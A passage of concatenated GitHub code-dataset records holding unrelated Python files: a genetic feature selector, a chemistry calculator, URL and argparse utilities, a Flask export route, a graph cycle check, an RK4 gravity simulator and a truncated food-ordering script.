mask for the features.\n\n Args:\n estimator (Callable): A supervised learning estimator with a `fit` method.\n metric (Callable): Metric to score the features selection by estimator.\n population (int, optional): Number of individuals in one population Defaults to 15.\n verbose (bool, optional): Controls verbosity of output. Defaults to False.\n random_state (int, optional): Seed of random to use. Defaults to 73.\n \n Attrs:\n support_ (ndarray): The mask of selected features.\n n_features_ (int): The number of selected features.\n features_names_ (ndarray): Names of selected features.\n self.estimator (Callable): The fitted estimator with selected features.\n \n Methods:\n fit: Fitting the selector.\n transform: Transform new data.\n fit_transform: Fitting selector and retern transformed data.\n predict: Transforme new data and make a predictions.\n predict_proba: Transforme new data and make a probability predictions.\n score: Transforme new data and score the estimator.\n \n Examples:\n >>> from sklearn.datasets import make_classification\n >>> from sklearn.linear_model import LogisticRegression\n >>> from sklearn.metrics import accuracy_score\n >>> X, y = make_classification(n_samples=100, n_features=20, n_classes=2, random_state=73)\n >>> selector = GenA(estimator=LogisticRegression, metric=accuracy_score, random_state=73)\n >>> selector = selector.fit(X, y)\n >>> selector.support_\n [1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1]\n \"\"\"\n \n def __init__(\n self, \n estimator: Callable,\n metric: Callable,\n population = 15,\n verbose: bool = False,\n random_state = 73,\n ): \n if population <= 0:\n raise ValueError(\"Population must be >0\")\n if not hasattr(estimator, \"predict\"):\n raise Exception(\"Estimator must has a `predict` method\")\n \n self.estimator = estimator(random_state=random_state)\n self.verbose = verbose\n self.metric = metric\n self.population = population\n self.random_state = random_state\n self.features_names = None\n # For reproducable results\n random.seed(random_state)\n \n def fit(\n self, \n X: Union[np.ndarray, pd.DataFrame], \n y: Union[np.ndarray, pd.Series],\n **fit_params\n ) -> Callable:\n \"\"\"Fit the GenA model and then the underlying estimator on the selected features.\n\n Args:\n X (Union[np.ndarray, pd.DataFrame]): The training input samples.\n y (Union[np.ndarray, pd.Series]): The target values.\n\n Returns:\n Callable: fitted selector\n \"\"\"\n \n X = self.__pd_data(X)\n \n X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=self.random_state)\n \n # pop - start population, hof - count of best combinations we will take, stats - statistics to show\n pop, hof, stats = self.__genA_prepare(X_train, X_test, y_train, y_test)\n \n _ = algorithms.eaSimple(\n pop, toolbox, cxpb=0.5, mutpb=0.2, ngen=40, halloffame=hof, stats=stats, verbose=self.verbose\n )\n \n # Set the final attrs\n # Get the best individual\n self.support_ = hof[0]\n self.n_features_ = sum(self.support_)\n self.features_names_ = np.array(X_train.loc[:, [bool(x) for x in self.support_]].columns)\n self.estimator = self.estimator.fit(X[self.features_names_], y, **fit_params)\n \n return self\n \n def transform(self, X: Union[np.array, pd.DataFrame]) -> np.ndarray:\n \"\"\"Transform new data with selected features.\n\n Args:\n X (Union[np.array, pd.DataFrame]): Input values\n\n Returns:\n np.ndarray: Values with selected features.\n \"\"\"\n if self.features_names_ is None:\n raise ExecError(\"Can't run this method before fitting!\")\n \n X = self.__pd_data(X)\n return X[self.features_names_].values\n \n def fit_transform(\n self, \n X: Union[np.array, pd.DataFrame], \n y: Union[np.array, pd.Series], \n **fit_params\n ) -> np.ndarray:\n X = self.__pd_data(X)\n _ = self.fit(X, y, **fit_params)\n return self.transform(X)\n \n def predict(self, X: Union[np.array, pd.DataFrame]) -> np.ndarray:\n \"\"\"Prediction by new values.\n\n Args:\n X (Union[np.array, pd.DataFrame]): Input values.\n\n Returns:\n np.ndarray: Array with predictions.\n \"\"\"\n \n return self.estimator.predict(self.transform(X))\n \n def predict_proba(self, X: Union[np.array, pd.DataFrame]) -> np.ndarray:\n \"\"\"Probability predictions by new values if estimator has method `predict_proba`.\n\n Args:\n X (Union[np.array, pd.DataFrame]): Input alues.\n\n Raises:\n Exception: if estimator has not method `predict_proba`.\n\n Returns:\n np.ndarray: Array with predictions.\n \"\"\"\n \n if hasattr(self.estimator, \"predict_proba\"):\n return self.estimator.predict_proba(self.transform(X))\n raise Exception(\"Estimator has not method `predict_proba`\")\n \n def score(\n self, \n X: Union[np.array, pd.DataFrame], \n y: Union[np.array, pd.Series],\n **fit_params\n ) -> float:\n \"\"\"Return the score of the underlying estimator.\n\n Args:\n X (Union[np.array, pd.DataFrame]): Input values.\n y (Union[np.array, pd.Series]): Target values.\n\n Returns:\n float: Score of the estimator with the selected features.\n \"\"\"\n \n if hasattr(self.estimator, \"score\"):\n return self.estimator.score(self.transform(X), y)\n prediction = self.predict(X)\n return self.metric(y, prediction)\n \n @staticmethod\n def __pd_data(X: np.array) -> pd.DataFrame:\n \"\"\"Returns pandas DataFrame for right work of algorithm.\n\n Args:\n data (np.array): Input values.\n\n Returns:\n pd.DataFrame\n \"\"\"\n \n if isinstance(X, np.ndarray):\n return pd.DataFrame(X)\n return X\n \n @staticmethod\n def evaluate(individual, estimator, metric, X_train, y_train, X_test, y_test) -> float:\n \"\"\"Returns the score for one individual(one set of features).\n\n Args:\n individual (_type_)\n estimator (_type_)\n metric (_type_): Metric to score the individuals.\n\n Returns:\n float: score\n \"\"\"\n \n sum_features = np.sum(individual)\n if sum_features == 0:\n return 0.0,\n else:\n X_train_sel = X_train.loc[:, [bool(x) for x in individual]]\n X_test_sel = X_test.loc[:, [bool(x) for x in individual]]\n clf = estimator.fit(X_train_sel, y_train)\n y_pred = clf.predict(X_test_sel)\n return metric(y_test, y_pred),\n \n def __genA_prepare(self, X_train, X_test, y_train, y_test):\n # Creating evaluation function\n evaluate = partial(\n self.evaluate,\n estimator=self.estimator,\n metric=self.metric,\n X_train=X_train, X_test=X_test,\n y_train=y_train, y_test=y_test,\n )\n \n # We need a mask of features like [1,0,1,0,0] then we have to random of 1 or 0\n toolbox.register(\"attrib_bin\", random.randint, 0, 1)\n # Register the individuals in the toolbox.\n toolbox.register(\"individual\", tools.initRepeat, creator.Individual, toolbox.attrib_bin, n=X_train.shape[1])\n # Register the population in toolbox.\n toolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\n # Register the evaluation function in toolbox.\n toolbox.register(\"evaluate\", evaluate)\n # Sets the statistics to show\n if self.verbose:\n stats = tools.Statistics(lambda ind: ind.fitness.values)\n stats.register(\"avg\", np.mean)\n stats.register(\"std\", np.std)\n stats.register(\"max\", np.max)\n stats.register(\"min\", np.min)\n else:\n stats = None\n \n # Initialize first population \n pop = toolbox.population(n=self.population)\n hof = tools.HallOfFame(1)\n return pop, hof, stats\n\nif __name__ == \"__main__\":\n import doctest\n doctest.testmod()\n","repo_name":"pavelkochkin1/karpov-courses-test-task","sub_path":"genetic_feature_selection.py","file_name":"genetic_feature_selection.py","file_ext":"py","file_size_in_byte":9606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"42120731255","text":"import math\nimport ka_calculations\nimport kb_calculations\nimport titrations\n\nwhile True:\n response = input(\"\\n1: Calculations involving Ka (Weak Acid)\\n\"\n \"2: Calculations involving Kb (Weak Base)\\n\"\n \"3: Titrations\\n\"\n \"q: Quit\\n\")\n\n # Calculations involving Ka\n if response == '1':\n while True:\n \"\"\"User Interface\"\"\"\n print(\"\\nWhat do you need to find?\\n\"\n \"1: Ka\\n\"\n \"2: pH & [H3O]\\n\"\n \"3: Concentration & Mass\\n\"\n \"q: Return to Main Menu\"\n )\n response = input()\n\n if response == '1':\n pH = input('What is the pH?\\n')\n st_conc = input('What is the concentration?\\n')\n ka_calculations.find_ka(pH, st_conc)\n\n elif response == '2':\n st_conc = input('What is the concentration?\\n')\n Ka1 = float(input(\"What is the base digits of Ka?\\n\"))\n Ka2 = float(input(\"To the power of?\\n\"))\n Ka = Ka1 * 10**Ka2\n ka_calculations.find_pH(st_conc, Ka)\n\n elif response == '3':\n pH = float(input('What is the pH?\\n'))\n Ka1 = float(input(\"What are the base digits of Ka?\\n\"))\n Ka2 = float(input(\"To the power of?\\n\"))\n Ka = Ka1 * 10 ** Ka2\n ka_calculations.find_st_conc(pH, Ka)\n\n elif response == 'q':\n break\n\n else:\n print(\"Please enter a valid instruction.\")\n\n\n # Calculations involving Kb\n elif response == '2':\n while True:\n \"\"\"User Interface\"\"\"\n print(\"\\nWhat do you need to find?\\n\"\n \"1: pH & pOH + Concentrations\\n\"\n \"2: Weak Acid Kb\\n\"\n \"3: Weak Base Kb\\n\"\n \"4: Concentration & Mass\\n\"\n \"q: Return to Main Menu\"\n )\n response = input()\n\n if response == '1':\n st_conc = float(input('What is the concentration?\\n'))\n Ka1 = float(input(\"What is the base digits of Ka?\\n\"))\n Ka2 = float(input(\"To the power of?\\n\"))\n Ka = Ka1 * 10 ** Ka2\n kb_calculations.find_pH(st_conc, Ka)\n\n elif response == '2':\n st_conc = float(input('What is the concentration?\\n'))\n pH = float(input(\"What is the pH? (pH = 14.00 - pOH)\\n\"))\n kb_calculations.find_weak_acid_kb(st_conc, pH)\n\n elif response == '3':\n st_conc = float(input('What is the concentration?\\n'))\n pH = float(input(\"What is the pH? (pH = 14.00 - pOH)\\n\"))\n kb_calculations.find_weak_base_kb(st_conc, pH)\n\n elif response == '4':\n pH = float(input(\"What is the pH? (pOH will be calculated)\\n\"))\n Ka1 = float(input(\"What is the base digits of Ka?\\n\"))\n Ka2 = float(input(\"To the power of?\\n\"))\n Ka = Ka1 * 10 ** Ka2\n kb_calculations.find_st_conc(pH, Ka)\n\n elif response == 'q':\n break\n\n # Calculations involving titrations\n elif response == '3':\n titrations.titrate()\n\n elif response == 'q':\n break\n\n","repo_name":"cereusily/chem_unit4_calculator","sub_path":"chem/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17336179606","text":"\"\"\"Common functions that are reused across the different distributions\"\"\"\n\nfrom typing import Optional, Dict, Any, Type, Union, Tuple, Sequence, List, Callable\nimport logging\nimport sys\nimport argparse\nimport traceback\nfrom urllib.parse import urlparse, ParseResult, unquote, quote\nimport dataclasses\nimport os\nfrom .exceptions import ScriptError\n\n\nLOG = logging.getLogger(__name__)\n\n\n@dataclasses.dataclass(frozen=True)\nclass ConnectionURL:\n \"\"\"Parsed information extracted from a URL.\"\"\"\n\n scheme: str\n host: Optional[str] = None\n port: Optional[int] = None\n path: str = \"\"\n params: Dict[str, Any] = dataclasses.field(default_factory=dict)\n username: Optional[str] = None\n password: Optional[str] = None\n\n\ndef parse_connection_url(url: str, valid_params: Optional[Dict[str, Union[Type, Tuple[Type, Any]]]] = None,\n required_params: Optional[Sequence[str]] = None, *,\n default_scheme: Optional[str] = None,\n default_port: Optional[Union[int, Dict[str, int]]] = None,\n unquote_password: bool = False) -> ConnectionURL:\n \"\"\"Parse out all relevant information from a passed URL.\n\n This supports pulling key/value pairs out of the `parameter` portion of\n the url. Note that the builtin ``urlparse`` in python's stdlib whitelists\n certain URL schemes that are allowed to have parameters, so we extract and\n parse parameters separately to allow them to be passed on all url schemes.\n\n If ``unquote_password`` is set as true (default is False for backwards\n compatibility), then any password found in the URL is assumed to be URL\n encoded and is automatically decoded back to a string. This allows\n passing any UTF-8 string as a password in the URL without worrying about\n special characters causing the url to not parse correctly.\n\n If the password does not have any special characters in it then url\n decoding is a no-op that doesn't change the password.\n \"\"\"\n\n url, param_string = _splitparams(url)\n parts = urlparse(url, scheme=default_scheme) # type: ParseResult\n\n if parts.scheme is None:\n raise ValueError(\"Scheme not specified and no default given\")\n\n port = parts.port\n if port is None:\n port = default_port_for_scheme(parts.scheme, default_port)\n\n if valid_params is None:\n valid_params = {}\n\n params = extract_param_dict(param_string, valid_params, required_params)\n\n password = parts.password\n if password is not None and unquote_password:\n password = unquote(password)\n\n return ConnectionURL(scheme=parts.scheme, host=parts.hostname, port=port, path=parts.path,\n params=params, username=parts.username, password=password)\n\n\n_SUB_DELIMS = \"!$&'()*+,;=\"\n\ndef quote_password(password: str) -> str:\n \"\"\"urlquote a password according to the right set of reserved characters.\n\n Per RFC 3986, the valid characters that may appear in the password part\n of the user information section of the URL are::\n\n unreserved = ALPHA / DIGIT / \"-\" / \".\" / \"_\" / \"~\"\n sub-delims = \"!\" / \"$\" / \"&\" / \"'\" / \"(\" / \")\"\n / \"*\" / \"+\" / \",\" / \";\" / \"=\"\n\n All other characters must be percent encoded.\n\n Args:\n password: the input, unquoted string.\n\n Returns:\n The quoted string, could be identical to input if no quoting needed.\n \"\"\"\n\n return quote(password, _SUB_DELIMS)\n\n\n# See: https://github.com/python/cpython/blob/2b201369b435a4266bda5b895e3b615dbe28ea6e/Lib/urllib/parse.py#L399\ndef _splitparams(url):\n if '/' in url:\n i = url.find(';', url.rfind('/'))\n if i < 0:\n return url, ''\n else:\n i = url.find(';')\n return url[:i], url[i+1:]\n\n\ndef default_port_for_scheme(scheme: str, default_port: Optional[Union[int, Dict[str, int]]]) -> Optional[int]:\n \"\"\"Helper function to lookup a port based on the scheme provided.\n\n This allows having a different default port for each supporteds scheme.\n For example, http and https should have different default ports.\n Similarly, amqp and amqps have different default ports.\n\n Returns:\n The default port number or None if no defaults were given.\n \"\"\"\n\n if default_port is None:\n return None\n\n if isinstance(default_port, int):\n return default_port\n\n port = default_port.get(scheme)\n return port\n\n\ndef extract_param_dict(params: str, valid_params: Dict[str, Union[Type, Tuple[Type, Any]]],\n required_params: Optional[Sequence[str]] = None):\n \"\"\"Extract typed key/value pairs from a comma-separated list of key=value.\"\"\"\n\n parts = params.split(',')\n\n param_dict = {}\n if required_params is None:\n required_params = []\n\n for part in parts:\n if len(part) == 0:\n continue\n\n key, equ, val = part.partition('=')\n if equ != '=':\n raise ValueError(\"Could not parse parameter string key/value pair %s\" % part)\n\n key = key.strip()\n val = val.strip()\n\n if key not in valid_params:\n raise ValueError(f\"Unknown parameter key {key} not in list of valid parameters\")\n\n type_info = valid_params[key]\n if isinstance(type_info, tuple):\n type_info = type_info[0]\n\n param_dict[key] = _convert_value(val, type_info)\n\n for key in required_params:\n if key not in param_dict:\n raise ValueError(f\"Missing required param {key} in: '{params}'\")\n\n to_add = {}\n for key, type_info in valid_params.items():\n if not isinstance(type_info, tuple):\n continue\n\n if key not in param_dict:\n to_add[key] = type_info[1]\n\n param_dict.update(to_add)\n\n return param_dict\n\n\nclass _EnvironmentalArgumentGroup(argparse._ArgumentGroup): # pylint: disable=protected-access; This is the cleanest way to support argument groups\n def __init__(self, container, title=None, description=None, **kwargs):\n super().__init__(container, title=None, description=None, **kwargs)\n\n def _add_action(self, action):\n env_key = action.dest.upper()\n if isinstance(action, argparse._AppendAction): # pylint: disable=protected-access; This is the cleanest way to support arrays from env\n env_default = _load_env_array(env_key + \"_\")\n if len(env_default) > 0:\n action.default = env_default\n else:\n action.default = os.environ.get(action.dest.upper(), action.default)\n return super()._add_action(action)\n\n\nclass EnvironmentArgumentParser(argparse.ArgumentParser):\n \"\"\"Custom argument parser that supports automatically pulling arguments from environment vars.\n\n Any argument that is not required or positional will have its value\n automatically pulled from the environment based on the ``dest`` of the\n argument. If the argument takes an array of values via the ``append``\n action, then the environment variables DEST_0, DEST_1, ... DEST_N, are\n consulted to build up the list of values for the array.\n\n The values from the environment are considered as the default value for\n the arguments so they are completely overridden if the argument is\n specified on the command line.\n\n Based on: https://stackoverflow.com/a/24662215/9739119\n \"\"\"\n\n class _CustomHelpFormatter(argparse.ArgumentDefaultsHelpFormatter):\n def _get_help_string(self, action):\n help_str = super()._get_help_string(action)\n if action.dest != 'help' and not action.required:\n env_key = action.dest.upper()\n if isinstance(action, argparse._AppendAction): # pylint: disable=protected-access; This is the cleanest way to support arrays from env\n env_key += r\"_{INTEGER}\"\n\n help_str += f' [env: {env_key}]'\n\n return help_str\n\n def __init__(self, *, formatter_class=_CustomHelpFormatter, **kwargs):\n super().__init__(formatter_class=formatter_class, **kwargs)\n\n def add_argument_group(self, *args, **kwargs):\n group = _EnvironmentalArgumentGroup(self, *args, **kwargs)\n self._action_groups.append(group)\n return group\n\ndef wrap_script_main(main_func: Callable[[List[str]], int]) -> Callable[[], int]:\n \"\"\"Main entry point for a script.\"\"\"\n\n def _wrapped_main() -> int:\n argv = sys.argv[1:]\n\n try:\n return main_func(argv)\n except ScriptError as err:\n if err.code == 0:\n return 0\n\n print(\"ERROR: {}\".format(err.reason))\n return err.code\n except KeyboardInterrupt:\n print(\"Exiting due to ctrl-c\")\n return 0\n except Exception as err: # pylint:disable=broad-except;This is a cli script wrapper\n print(\"ERROR: Uncaught exception\")\n traceback.print_exc()\n return 127\n\n return _wrapped_main\n\n\ndef configure_logging(verbose: int, quiet: bool, output_file=None, include=None, exclude=None, prefix=None):\n \"\"\"Configure logging based on verbosity or quiet settings.\"\"\"\n\n root = logging.getLogger()\n\n if exclude is None:\n exclude = []\n if include is None:\n include = []\n\n if len(include) > 0 and len(exclude) > 0:\n raise ScriptError(11, \"You cannot both include and exclude loggers\")\n\n if os.environ.get('DEBUG', '').lower() == 'true':\n verbose = 4\n quiet = False\n\n if quiet:\n root.addHandler(logging.NullHandler())\n return\n\n if output_file is None:\n handler = logging.StreamHandler()\n else:\n handler = logging.FileHandler(output_file)\n\n if prefix is None:\n prefix = ''\n elif prefix is not None and not prefix.endswith(' '):\n prefix = prefix + ' '\n\n formatter = logging.Formatter(f'%(asctime)s.%(msecs)03d %(levelname).3s {prefix}%(name)s %(message)s',\n '%y-%m-%d %H:%M:%S')\n handler.setFormatter(formatter)\n loglevels = [logging.CRITICAL, logging.ERROR, logging.WARNING, logging.INFO, logging.DEBUG]\n\n if verbose >= len(loglevels):\n verbose = len(loglevels) - 1\n\n level = loglevels[verbose]\n\n if len(include) > 0:\n for name in include:\n logger = logging.getLogger(name)\n logger.setLevel(level)\n logger.addHandler(handler)\n\n root.addHandler(logging.NullHandler())\n else:\n # Disable propagation of log events from disabled loggers\n for name in exclude:\n logger = logging.getLogger(name)\n logger.disabled = True\n\n root.setLevel(level)\n root.addHandler(handler)\n\n\ndef _load_env_array(prefix: str) -> List[str]:\n \"\"\"Helper function to load PREFIX{INT} environment variables.\"\"\"\n\n values: List[str] = []\n\n for key, value in os.environ.items():\n if not key.startswith(prefix):\n continue\n\n postfix = key[len(prefix):]\n try:\n int(postfix)\n except ValueError:\n continue\n\n values.append(value)\n\n return values\n\n\ndef _parse_bool(val: str) -> bool:\n \"\"\"Parse a string a bool with a default value.\"\"\"\n\n val = val.lower()\n if val not in ('true', 'false'):\n raise ValueError(f\"Invalid bool literal: {val}\")\n\n return val == 'true'\n\n\ndef _convert_value(value: str, type_info: Type):\n \"\"\"Convert a value simply into a typed python object.\"\"\"\n\n if issubclass(type_info, bool):\n return _parse_bool(value)\n\n return type_info(value)\n","repo_name":"IPCConnectedFactoryExchange/CFXRecorder","sub_path":"cfx_recorder/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":11550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74008385425","text":"\nimport pandas as pd\nimport numpy as np\nimport os\nimport json\nfrom . import app\nfrom flask import request, session, jsonify, abort, redirect\nimport datetime\n\nimport requests\n\nfrom HydraLib import config\n\nimport hydrautils.dataset_utilities as datasetutils\n\nfrom werkzeug.exceptions import InternalServerError\n\nglobal POLYVIS_URL\nPOLYVIS_URL = config.get('polyvis', 'POLYVIS_URL', 'http://polyvis.org/')\n\n@app.route('/export_to_polyvis', methods=['GET'])\ndef do_export_to_polyvis():\n \"\"\"\n Pass a multi-soluviton value (produced by MGA for example) into polyvis, first\n re-formatting it into a csv structure.\n Return a URL generated by polyvis and redirect to that URL\n \"\"\"\n dataset_id = int(request.args['dataset_id'])\n user_id = session['user_id']\n\n app.logger.info('Exporting %s to polyvis', dataset_id)\n dataset = datasetutils.get_dataset(dataset_id, user_id)\n \n value = dataset.value\n\n json_val = json.loads(value)\n\n data = {}\n for k, v in json_val.items():\n soln_df = pd.read_json(json.dumps(v))\n avg_df = soln_df.mean(axis=1)\n #Try to int-ify the solution identifier as it'll provide a more nicely sorted csv file.\n try:\n k = int(k)\n except:\n pass\n data[int(k)] = avg_df.to_dict()\n \n avg_df = pd.read_json(json.dumps(data)).transpose()\n\n csv_text = avg_df.to_csv()\n\n f = open('/tmp/df.txt', 'w+')\n f.writelines(csv_text)\n f.flush()\n\n f = open('/tmp/df.txt', 'r')\n\n client = requests.session()\n\n # Retrieve the CSRF token first\n client.get(POLYVIS_URL) # sets cookie\n csrftoken = client.cookies['csrftoken']\n\n resp = client.post(POLYVIS_URL+'upload_parallel_data',\n files={'csv':f},\n data={'csrfmiddlewaretoken':csrftoken},\n headers=dict(Referer=POLYVIS_URL))\n \n\n return redirect(resp.url)\n","repo_name":"knoxsp/basinit-backup","sub_path":"hwi/polyvis.py","file_name":"polyvis.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22242478755","text":"class Grafo:\n def __init__(self, vertices):\n self.vertices = vertices\n self.lista = [[] for i in range(vertices)]\n\n def add_aresta(self, origin, destiny):\n self.lista[origin].append(destiny)\n\n def dfs(self, v):\n pilha, pilha_rec = [], []\n visited = [False for i in range(self.vertices)]\n pilha_rec = [False for i in range(self.vertices)]\n while True:\n neighbour_found = False\n if not visited[v]:\n pilha.append(v)\n visited[v] = pilha_rec[v] = True\n aux_adj = None\n for adj in self.lista[v]:\n aux_adj = adj\n # se o vizinho está na pilha é porque existe ciclo\n if pilha_rec[adj]:\n return True\n elif not visited[adj]:\n # se não está na pilha e não foi visitado, indica que achou\n neighbour_found = True\n break\n if not neighbour_found:\n pilha_rec[pilha[-1]] = False # marca que saiu da pilha\n pilha.pop() # remove da pilha\n if len(pilha) == 0:\n break\n v = pilha[-1]\n else:\n v = aux_adj\n return False\n\n def has_cycle(self):\n for i in range(self.vertices):\n if self.dfs(i):\n return True\n return False\n\n\ng = Grafo(4)\ng.add_aresta(0, 1)\ng.add_aresta(1, 2)\ng.add_aresta(2, 1)\nprint(g.has_cycle())\n","repo_name":"thcborges/estrutura-de-dados-com-python3","sub_path":"Algoritmos_e_Estrutura_de_Dados/grafo_ciclo.py","file_name":"grafo_ciclo.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"14945533496","text":"import itertools\nimport math\nimport time\n\n\nclass State(object):\n\n def __init__(self, pos_x, pos_y, vel_x=0, vel_y=0):\n self.pos_x = pos_x\n self.pos_y = pos_y\n self.vel_x = vel_x\n self.vel_y = vel_y\n\n\nclass Derivative(object):\n\n def __init__(self, dx, dy, dvx, dvy):\n self.dx = dx\n self.dy = dy\n self.dvx = dvx\n self.dvy = dvy\n\n\nclass Planet(object):\n\n def __init__(self, engine, pos_x, pos_y, density, mass, vel_x=0, vel_y=0, fixed=False):\n\n self.engine = engine\n\n self.state = State(\n pos_x=pos_x,\n pos_y=pos_y,\n vel_x=vel_x,\n vel_y=vel_y\n )\n\n self.density = density\n self.mass = mass\n self.fixed = fixed\n self.calc_radius()\n\n def calc_radius(self):\n self.radius = math.sqrt((3 * self.mass) / (4 * 3.1427 * self.density))\n\n def calc_acceleration(self, state, unused_curtime):\n ax = 0.0\n ay = 0.0\n for other_planet in self.engine.planets.values():\n if other_planet == self:\n continue\n dist, delta_x, delta_y = self.calc_distance(state, other_planet)\n force = self.calc_force(other_planet, dist)\n ax += force * delta_x / dist / self.mass\n ay += force * delta_y / dist / self.mass\n return ax, ay\n\n def calc_distance(self, state, planet2):\n delta_x = planet2.state.pos_x - state.pos_x\n delta_y = planet2.state.pos_y - state.pos_y\n dist = math.sqrt(delta_x ** 2 + delta_y ** 2)\n return dist, delta_x, delta_y\n\n def calc_force(self, planet2, dist):\n force = (self.mass * planet2.mass) / (dist ** 2)\n return force\n\n def initialDerivative(self, state, curtime):\n ax, ay = self.calc_acceleration(state, curtime)\n return Derivative(\n dx=state.vel_x,\n dy=state.vel_y,\n dvx=ax,\n dvy=ay\n )\n\n def nextDerivative(self, initialState, derivative, curtime, dt):\n nextState = State(\n pos_x=0.0,\n pos_y=0.0,\n vel_x=0.0,\n vel_y=0.0\n )\n nextState.pos_x = initialState.pos_x + derivative.dx * dt\n nextState.pos_y = initialState.pos_y + derivative.dy * dt\n nextState.vel_x = initialState.vel_x + derivative.dvy * dt\n nextState.vel_y = initialState.vel_y + derivative.dvy * dt\n ax, ay = self.calc_acceleration(nextState, curtime+dt)\n return Derivative(\n dx=nextState.vel_x,\n dy=nextState.vel_y,\n dvx=ax,\n dvy=ay\n )\n\n def update(self, curtime, delta_time):\n initial_D = self.initialDerivative(self.state, curtime)\n second_D = self.nextDerivative(self.state, initial_D, curtime, delta_time * 0.5)\n third_D = self.nextDerivative(self.state, second_D, curtime, delta_time * 0.5)\n fourth_D = self.nextDerivative(self.state, third_D, curtime, delta_time)\n delta_x_dt = 1.0 / 6.0 * (initial_D.dx + 2 * (second_D.dx + third_D.dx) + fourth_D.dx)\n delta_y_dt = 1.0 / 6.0 * (initial_D.dy + 2 * (second_D.dy + third_D.dy) + fourth_D.dy)\n delta_vx_dt = 1.0 / 6.0 * (initial_D.dvx + 2 * (second_D.dvx + third_D.dvx) + fourth_D.dvx)\n delta_vy_dt = 1.0 / 6.0 * (initial_D.dvy + 2 * (second_D.dvy + third_D.dvy) + fourth_D.dvy)\n self.state.pos_x += delta_x_dt * delta_time\n self.state.pos_y += delta_y_dt * delta_time\n self.state.vel_x += delta_vx_dt * delta_time\n self.state.vel_y += delta_vy_dt * delta_time\n #print(self.state.pos_x, self.state.pos_y, self.radius)\n\n\nclass Engine(object):\n\n def __init__(self):\n self.cur_index = 0\n self.curtime = 0\n self.timerate = 1\n self.planets = {}\n\n def add_planet(self, *args, **kwargs):\n '''\n see Planet constructor for argument details\n '''\n self.cur_index += 1\n new_planet = Planet(self, *args, **kwargs)\n self.planets[self.cur_index] = new_planet\n return self.cur_index\n\n def remove_planet(self, index):\n del_planet = self.planets.get(index)\n if del_planet is not None:\n del self.planets[index]\n\n def check_collision(self, planet1, planet2):\n dist, delta_x, delta_y = planet1.calc_distance(planet1.state, planet2)\n if not (dist < (planet1.radius + planet2.radius)):\n return False\n impulse_x = planet1.state.vel_x * planet1.mass + planet2.state.vel_x * planet2.mass\n impulse_y = planet1.state.vel_y * planet1.mass + planet2.state.vel_y * planet2.mass\n if planet1.mass <= planet2.mass:\n update_planet, del_planet = planet2, planet1\n else:\n update_planet, del_planet = planet1, planet2\n\n update_planet.mass += del_planet.mass\n update_planet.state.vel_x = impulse_x / update_planet.mass\n update_planet.state.vel_y = impulse_y / update_planet.mass\n update_planet.calc_radius()\n return del_planet\n\n def tick(self):\n\n del_indexes = []\n self.curtime += self.timerate\n\n for planet in self.planets.values():\n planet.update(self.curtime, self.timerate)\n\n for index1, index2 in itertools.combinations(self.planets, 2):\n planet1 = self.planets[index1]\n planet2 = self.planets[index2]\n del_planet = self.check_collision(planet1, planet2)\n if del_planet == planet1:\n del_indexes.append(index1)\n elif del_planet == planet2:\n del_indexes.append(index2)\n\n for index in del_indexes:\n self.remove_planet(index)\n","repo_name":"gandie/pyGravity","sub_path":"pygravity/engine_rk4.py","file_name":"engine_rk4.py","file_ext":"py","file_size_in_byte":5698,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21225967962","text":"import matplotlib.pyplot as plt\n\n\ndef performance_plot(\n train_metric: list,\n valid_metric: list,\n outfile=None,\n title: str = \"\",\n xlab: str = \"Epochs\",\n ylab: str = \"Metric\",\n save_plot: bool = True,\n):\n\n fig, ax = plt.subplots()\n plt.plot(\n train_metric, color=\"b\", alpha=0.7, marker=\"o\", label=\"train\", lw=3\n )\n plt.plot(\n valid_metric,\n color=\"orange\",\n alpha=0.8,\n marker=\"o\",\n label=\"valid\",\n lw=3,\n )\n plt.title(title)\n plt.xlabel(xlab)\n plt.ylabel(ylab)\n plt.legend()\n plt.grid(alpha=0.3)\n plt.tight_layout()\n\n if save_plot == False:\n plt.show()\n elif save_plot == True:\n if outfile == None:\n plt.savefig(\"metric_plot.png\")\n else:\n plt.savefig(outfile)\n","repo_name":"msank00/image_caption_gen","sub_path":"src/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"5443893975","text":"sandwich_index = 0\nother_index = 1\nbeverage_index = 2\nfries_index = 3\nsalty_index = 4\nkeepordering=True\norderMasterList=[]\nrunningTotalPrintOut=\"\"\ntax = .07\ntotal = 0\n \nwhile(keepordering):\n \n \n #Ordering Burger \n krabbypatty = input(f'''Would you like a krabby Patty or a Krabby Meal?\n Yes = y\n No = n\n Meal = m\n ''')\n if krabbypatty == \"y\":\n krabbypatty = input(f'''How many patties would you like?: \n $1.25 Single \n $2.00 Double \n $5.75 Triple \n s = Single d = Double t = Triple\n s/c = Single with Cheese\n m/c = Medium with Cheese\n l/c = Large with Cheese''')\n orderInformation = \"\\nYour Order:\\n\"\n chooseSandwich,chooseFries,chooseDrink = False,False,False\n order = [\"\", \"\", \"\", 0] \n orderInformation+=(f\"\\tKrabby Patty:\\t{krabbypatty}\\n\")\n chooseSandwich=True\n if krabbypatty == \"s\":\n total+1.25\n krabbypatty = \"Single\"\n elif krabbypatty == \"d\":\n total+2\n krabbypatty = \"Double\"\n elif krabbypatty == \"t\": \n total+3\n krabbypatty = \"Triple\"\n elif krabbypatty == \"s/c\":\n total+1.5\n krabbypatty = \"Single w/ Cheese\"\n elif krabbypatty == \"d/c\":\n total+2.25\n krabbypatty = \"Double w/ Cheese\"\n elif krabbypatty == \"t/c\":\n total+3.25\n krabbypatty 